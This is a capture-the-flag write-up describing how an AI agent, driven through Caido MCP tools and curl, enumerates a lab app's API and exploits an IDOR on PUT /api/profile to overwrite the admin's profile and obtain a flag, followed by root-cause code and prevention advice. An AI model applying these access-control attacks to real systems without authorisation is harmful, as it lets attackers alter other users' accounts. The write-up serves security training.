Ottergram - IDOR
Weekend, relax … why not some Broken Access Control testing :)
I am letting my MCP loose today, only mentioning what to look for.
Focusing the MCP is definitely an advantage, not only to use less tokens but save time and effort, as well as upgrade the skill it has so when a future problem like this shows up, testing is much quicker and painless.
Enumeration
Clicking around and playing with the app for a while…
This has become part of methodology, no matter whether I see an issue right away or not
I have managed to build a skill to always learn the application, how does it respond and what are the potential issues I can exploit
Loaded my usual skill and off I went!
Step 1
⏺ Skill(pentest-webapp)
⎿ Successfully loaded skill
⏺ Starting IDOR testing on the BugForge CTF target. Let me first check Caido for any captured requests to understand the app structure.
⏺ caido - caido_list_requests (MCP)(limit: 50)
⎿ {
"hasMore": true,
"nextCursor": "eyJpZCI6IjUwIiwib3JkZXJfdmFsdWUiOm51bGx9",
… +369 lines (ctrl+o to expand)
⎿ {
"entries": [
{
… +7 lines (ctrl+o to expand)
⏺ The sitemap shows the target domain. Let me get requests from the current target and explore the sitemap further.
⏺ caido - caido_list_requests (MCP)(httpql: "req.host.cont:\"lab-1769869490510\"", limit: 100)
⎿ {
"hasMore": false,
"nextCursor": "eyJpZCI6IjM0MjYiLCJvcmRlcl92YWx1ZSI6bnVsbH0=",
… +237 lines (ctrl+o to expand)
⏺ caido - caido_get_sitemap (MCP)(parentId: "1")
⎿ {
"entries": [
{
… +46 lines (ctrl+o to expand)
⏺ Good - I can see the API structure. Key endpoints:
- /api/register - POST
- /api/login - POST
- /api/posts - GET
- /api/profile/{username} - GET
- /api/posts/{id}/like - POST
- /api/posts/{id}/comments - GET/POST
Step 2
Let me examine the API requests more closely to understand the IDs and data structures.
⏺ caido - caido_get_request (MCP)(ids: ["3395","3404","3407","3419","3411","3412","3413"], include: ["requestHeaders","requestBody","responseHeaders","responseBody"])
⎿ {
"requests": [
{
… +257 lines (ctrl+o to expand)
⏺ Now I have a clear picture of the app. Key observations:
Users:
- User 1: otter_lover
- User 2: admin (interesting!)
- User 3: sea_otter_fan
- User 4: tester (my user)
IDs to test for IDOR:
- /api/profile/{username} - uses username, not numeric ID
- /api/posts/{id}/like - post ID
- /api/posts/{id}/comments - post ID
- User IDs in responses (1, 2, 3, 4)
Step 3
Let me check the JS file for API endpoints and look for profile update/account modification endpoints (WRITE operations - higher priority per skill).
⏺ caido - caido_get_request (MCP)(ids: ["3389"], include: ["responseBody"], bodyLimit: 10000)
⎿ {
"id": "3389",
"response": {
… +46 lines (ctrl+o to expand)
⏺ The JS is minified. Let me search for API endpoint patterns within it.
⏺ Bash(curl -s "https://lab-1769869490510-qc54ar.labs-app.bugforge.io/static/js/main.300c5045.js" | grep -oE '"/api/[^"]+"|/api/[a-zA-Z0-9/_-]+' | sort -u)
⎿ "/api/admin"
"/api/login"
"/api/posts"
… +5 lines (ctrl+o to expand)
⏺ Interesting - there's /api/admin endpoint! Let me test that and also look for profile update endpoints (PUT/PATCH operations for IDOR).
⏺ caido - caido_send_request (MCP)(raw: "GET /api/admin HTTP/1.1\nHost: lab-1769869490510-qc54ar.labs-app.bugforge.io\nAuthorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJ0ZXN0ZXIiLCJpYXQiOjE3Njk4Njk1Mzd9.WPONjYFT45Z7sRceXbuBJl4uuBaM94egs5XI-YDn29I\nAccept: application/json")
⎿ {
"message": "Request sent to https://lab-1769869490510-qc54ar.labs-app.bugforge.io:443",
"sessionId": "1",
… +2 lines (ctrl+o to expand)
Step 4
⏺ caido - caido_send_request (MCP)(raw: "GET /api/profile/admin HTTP/1.1\nHost: lab-1769869490510-qc54ar.labs-app.bugforge.io\nAuthorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJ0ZXN0ZXIiLCJpYXQiOjE3Njk4Njk1Mzd9.WPONjYFT45Z7sRceXbuBJl4uuBaM94egs5XI-YDn29I\nAccept: application/json")
⎿ Error: failed to send request: replay error: TaskInProgressUserError
⏺ caido - caido_send_request (MCP)(raw: "PUT /api/profile/tester HTTP/1.1\nHost: lab-1769869490510-qc54ar.labs-app.bugforge.io\nAuthorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJ0ZXN0ZXIiLCJpYXQiOjE3Njk4Njk1Mzd9.WPONjYFT45Z7sRceXbuBJl4uuBaM94egs5XI-YDn29I\nContent-Type: application/json\nAccept: application/json\n\n{\"bio\": \"test
bio\"}")
⎿ Error: failed to send request: replay error: TaskInProgressUserError
⏺ Got TaskInProgressUserError - let me wait and try again.
⏺ caido - caido_list_requests (MCP)(httpql: "req.host.cont:\"lab-1769869490510\"", limit: 10)
⎿ {
"hasMore": true,
"nextCursor": "eyJpZCI6IjMzOTciLCJvcmRlcl92YWx1ZSI6bnVsbH0=",
… +63 lines (ctrl+o to expand)
⎿ {
"sessions": [
{
… +16 lines (ctrl+o to expand)
⏺ caido - caido_get_replay_entry (MCP)(id: "32")
⎿ Error: failed to get replay entry: graphql: Unknown field "isTls" on type "ConnectionInfo".
- At this point I found a small issue inside of the MCP
Error 1: TaskInProgressUserError
Cause: The MCP tries to reuse the same replay session for concurrent requests. When one request is in-flight, subsequent requests fail.
Fix needed in MCP:
// Current: reuses single session
const sessionId = "1";
// Fix: create new session per request OR wait for completion
const session = await createNewReplaySession();
---
Error 2: Unknown field "isTls" on type "ConnectionInfo"
Cause: GraphQL schema mismatch. The MCP queries for isTls field but Caido's current schema doesn't have it. API changed between Caido versions.
Fix needed in MCP:
# Current query (broken)
query { replayEntry { connection { isTls } } }
# Fix: use correct field name from current schema
query { replayEntry { connection { tls } } } # or whatever the actual field is
- Flag and streak are life … fix coming later :)
- Meanwhile … we switch to
curl
Step 5
⏺ Let me try sending requests via curl instead due to the MCP issue.
⏺ Bash(TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJ0ZXN0ZXIiLCJpYXQiOjE3Njk4Njk1Mzd9.WPONjYFT45Z7sRceXbuBJl4uuBaM94egs5XI-YDn29I"
BASE="http…)
⎿ === /api/admin ===
{
"error": "Admin access required"
… +44 lines (ctrl+o to expand)
⏺ So I can read admin's profile (IDOR on read). Now let me find WRITE endpoints - check for profile update methods and other endpoints.
⏺ Bash(TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJ0ZXN0ZXIiLCJpYXQiOjE3Njk4Njk1Mzd9.WPONjYFT45Z7sRceXbuBJl4uuBaM94egs5XI-YDn29I"
BASE="http…)
⎿ === PATCH /api/profile/tester ===
<!DOCTYPE html>
<html lang="en">
… +44 lines (ctrl+o to expand)
⏺ PUT /api/profile accepts requests and wants a user ID. This is a potential IDOR vector. Let me test it.
⏺ Bash(TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJ0ZXN0ZXIiLCJpYXQiOjE3Njk4Njk1Mzd9.WPONjYFT45Z7sRceXbuBJl4uuBaM94egs5XI-YDn29I"
BASE="http…)
⎿ === PUT /api/profile - update MY profile (user_id: 4) ===
{
"error": "User ID is required"
… +35 lines (ctrl+o to expand)
⏺ Hmm, still says "User ID is required". Let me try different field names.
⏺ Bash(TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJ0ZXN0ZXIiLCJpYXQiOjE3Njk4Njk1Mzd9.WPONjYFT45Z7sRceXbuBJl4uuBaM94egs5XI-YDn29I"
BASE="http…)
⎿ === Try 'id' field ===
{
"message": "Profile updated successfully"
… +23 lines (ctrl+o to expand)
⏺ It works with id field. Now let's test IDOR - can I update admin's profile (id: 2)?
Final Step
⏺ IDOR confirmed!
Summary
Vulnerability: IDOR on PUT /api/profile endpoint
Details:
- Endpoint: PUT /api/profile
- Vulnerable parameter: id in JSON body
- Impact: Can update ANY user's profile by specifying their user ID
- My user: id=4 (tester)
- Admin user: id=2
Proof:
- Sent {"id": 2, "bio": "HACKED_BY_TESTER"} with my (tester) auth token
- Successfully modified admin's profile bio
- Flag revealed in response: bug{0z2LlicV2bdbJlo0xNalOUhSdlxh5QXM}
Root Cause: The endpoint trusts the id field from user input without verifying it matches the authenticated user's ID from the JWT token.
This is a CRITICAL IDOR (WRITE) - allows account modification of any user including admin.

Security Takeaways
Vulnerability:
IDOR on Profile Update Endpoint
Endpoint:
PUT /api/profile
The Flaw:
- Backend accepts id field from request body to determine which user profile to update
- No server-side validation that id matches authenticated user from JWT
- JWT contains {“id”:4,“username”:“tester”} but server blindly trusts body {“id”:2}
Why This Happens
// VULNERABLE pattern
app.put('/api/profile', (req, res) => {
const userId = req.body.id; // ❌ Trusts user input
updateProfile(userId, req.body);
});
// SECURE pattern
app.put('/api/profile', (req, res) => {
const userId = req.user.id; // ✅ Uses authenticated user from JWT
updateProfile(userId, req.body);
});
Testing Methodology
- Identify all endpoints with IDs - profile, posts, comments, likes
- Prioritise WRITE over READ -
PUT/PATCH/DELETE > GET - Test different ID field names -
id, user_id, userId, query params, path params - Compare before/after - verify change actually applied
Prevention
- Never trust user-supplied IDs for ownership - use session/JWT identity
- Implement authorization middleware - check resource ownership before modification
- Use indirect references - /api/profile/me instead of /api/profile?id=X
- Log and alert on cross-user access attempts